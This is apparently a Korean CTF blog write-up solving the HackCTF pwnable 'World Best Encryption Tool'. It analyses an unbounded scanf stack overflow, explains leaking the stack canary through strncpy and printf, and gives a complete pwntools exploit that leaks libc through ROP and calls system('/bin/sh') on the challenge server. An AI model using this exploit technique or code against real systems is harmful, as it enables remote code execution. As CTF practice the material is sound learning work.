tmxklab
[HackCTF/Pwnable] World Best Encryption Tool 본문
1. 문제
nc ctf.j0n9hyun.xyz 3027
1) mitigation 확인
2) 문제 확인
- 입력을 하고 이상한 값이 출력되면서 종료된다.(?)
3) 코드 흐름 확인
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // [rsp+8h] [rbp-88h]
char s1; // [rsp+Ch] [rbp-84h]
char src[64]; // [rsp+10h] [rbp-80h]
char dest; // [rsp+50h] [rbp-40h]
unsigned __int64 v8; // [rsp+88h] [rbp-8h]
v8 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
do
{
puts("Your text)");
__isoc99_scanf("%s", src);
for ( i = 0; i <= 0x31; ++i )
src[i] ^= 0x1Cu;
strncpy(&dest, src, 0x39uLL);
printf("Encrypted text)\n%s", &dest);
puts("\nWanna encrypt other text? (Yes/No)");
__isoc99_scanf("%s", &s1);
}
while ( !strcmp(&s1, "Yes") );
if ( strcmp(&s1, "No") )
printf("It's not on the option");
return 0;
}
- scanf()를 통해 src변수에 문자열로 저장한다. → 문자열 길이 제한 없음, 취약점
- for문이 0x32번 돌면서 src[i] = src[i] xor 0x1c한다.
- dest변수에 0x39만큼 src변수에 저장된 값을 저장하고 dest 출력
- scanf()를 통해 s1변수에 문자열로 저장한다. → 문자열 길이 제한 없음, 취약점
- s1이 Yes면 do while문 처음으로 돌아가 다시 실행, 다른 값이면 종료
정리)
- scanf로 src변수에 사이즈에 상관없이 입력 값을 받을 수 있다. → overflow발생
- for문이 32번 돌면서 src[0] ~ src[31]까지 src에 0x1c와 xor한 값을 다시 저장한다.
- strncpy로 src에 있는 값을 dest변수로 0x39bytes만큼 복사한다.
- printf로 dest변수에 저장된 문자열 출력한다.
2. 접근방법
scanf를 통해 src[rbp-0x80]에 bof가 가능하지만 현재 canary가 걸려있는 상태이므로 카나리 값이 변조되면 stack_chk_fail함수가 호출된다.
1) scanf를 통해 src변수에 0x80만큼 값을 넣은 경우
- canary[rbp-0x8] 값이 변경된 것을 확인할 수 있다.
2) for문 돌았을 때 상황
- src[rbp-0x80]부터 src[rbp-0x4f]까지 총 0x32bytes값이 xor에 의해 변경됨
3) strncpy(dest, src, 0x39)호출 이후
- dest변수로 0x39bytes만큼 값이 변경되어 있다.
4) stack_chk_fail
- 카나리 값이 변조되었기 때문에 __stack_chk_fail()가 호출되어 스택 스매싱이 발견되었다고 뜨고 SIGABRT가 발생하면서 종료된다.
그럼 카나리 값이 변조되지 않고 bof를 수행하려면 카나리 값을 알아내어 카나리 위치에 [rbp-0x8]에 그대로 써주고 ret를 조작하면 될 것 같다.
처음 알게 된 사실인데 여기서 카나리 값의 하위 1byte는 항상 null값이다.
따라서, 만약 src[rbp-0x80]변수에 0x38만큼 값을 넣고 strncpy(dest, src, 0x39)을 수행하면 strcpy나 strncpy나 특성상 널 값이 존재할 때까지 읽어서 복사하므로 0x38만큼 복사하게 된다.
- src변수에 0x38만큼 입력 값을 넣고 strncpy수행하였을 떄
- dest변수에도 src값이 들어가며 카나리의 값은 변조되지 않았지만 하위 1byte가 널 값임을 확인
결국 다음 dest변수를 출력하게 되면 카나리 값까지 출력하지 않고 널 값이 존재하여 복사한 0x38만큼 출력하게 될 것이다.
따라서, 0x39만큼 src변수에 입력 값을 넣으면 dest변수를 출력할 때 카나리 값까지 포함하여 출력하게 된다.
공격 프로세스)
- 카나리 값을 leak한다. → 다시 Yes를 입력하여 src입력 값을 받는다.
- 알맞게 카나리 넣는 부분에 카나리 값을 넣고 rop를 하여 setvbuf 주소를 구한다.
- 다시 메인함수로 돌아오면 카나리 넣는 부분에 카나리 값 넣고 rtl을 하여 system(binsh)를 실행한다.
참고로, 카나리 값의 하위 1byte는 널 바이트 고정이므로 릭하고 나서 하위 1byte를 널 값으로 만들어서 넣는다.
3. 풀이
1) 카나리 릭 확인
- 카나리 leak 성공
2) setvbuf() 주소 릭하기 위한 가젯 구하기
- pr : 0x4008e3
3) offset 구하기
- setvbuf 주소 leak
- setvbuf 하위 2bytes 0x7e70
- setvbuf() offset : 0x06fe70
- system() offset : 0x045390
- binsh offset : 0x18cd57
4) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./world")
p = remote("ctf.j0n9hyun.xyz", 3027)
e = ELF("./world")
#gdb.attach(p, """b*0x4007d2""")
puts_plt = e.plt['puts']
setvbuf_got = e.got['setvbuf']
main_addr = e.symbols['main']
pr_addr = 0x4008e3
setvbuf_offset = 0x6fe70
system_offset = 0x45390
binsh_offset = 0x18cd57
log.info("puts@plt : " +hex(puts_plt))
log.info("setvbuf@got : " +hex(setvbuf_got))
log.info("main addr : " +hex(main_addr))
log.info("pr addr : " +hex(pr_addr))
# 1. canary leak
payload = "A"*0x37 + "BC"
p.sendlineafter("text)\n", payload)
p.recvuntil("B")
canary = u64(p.recv(8))
canary = canary & 0xffffffffffffff00
log.info("Canary : "+hex(canary))
p.sendlineafter("No)\n", "Yes")
# 2. setvbuf addr leak
payload = "F"*0x38 +"\x00"
payload += "F"*(0x78-0x39)
payload += p64(canary)
payload += "A"*8
payload += p64(pr_addr)
payload += p64(setvbuf_got)
payload += p64(puts_plt)
payload += p64(main_addr)
p.sendlineafter("text)\n", payload)
p.sendlineafter("No)\n", "Nop")
p.recvuntil("option")
setvbuf_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = setvbuf_addr - setvbuf_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
log.info("libcbase addr : "+hex(libc_base))
log.info("setvbuf addr : "+hex(setvbuf_addr))
log.info("setvbuf addr : "+hex(setvbuf_addr))
log.info("system addr : "+hex(system_addr))
log.info("binsh addr : "+hex(binsh_addr))
# 3. RTL
payload = "F"*0x38 +"\x00"
payload += "F"*(0x78-0x39)
payload += p64(canary)
payload += "A"*8
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter("text)\n", payload)
p.sendlineafter("No)\n", "Nop")
p.interactive()
5) 실행 결과
4. 몰랐던 개념
1) 카나리에 대한 내용
위 링크를 참고해서 보니 항상 카나리 하위 1byte가 널 값은 아니다.
카나리에도 여러 종류가 있다는 것을 알았다.
'War Game > HackCTF' 카테고리의 다른 글
[HackCTF/Pwnable] Unexploitable #2 (0) | 2020.08.15 |
---|---|
[HackCTF/Pwnable] 풍수지리설 (0) | 2020.08.15 |
[HackCTF/Pwnable] register (0) | 2020.08.15 |
[HackCTF/Pwnable] rtc (0) | 2020.08.06 |
[HackCTF/Pwnable] sysrop (0) | 2020.08.06 |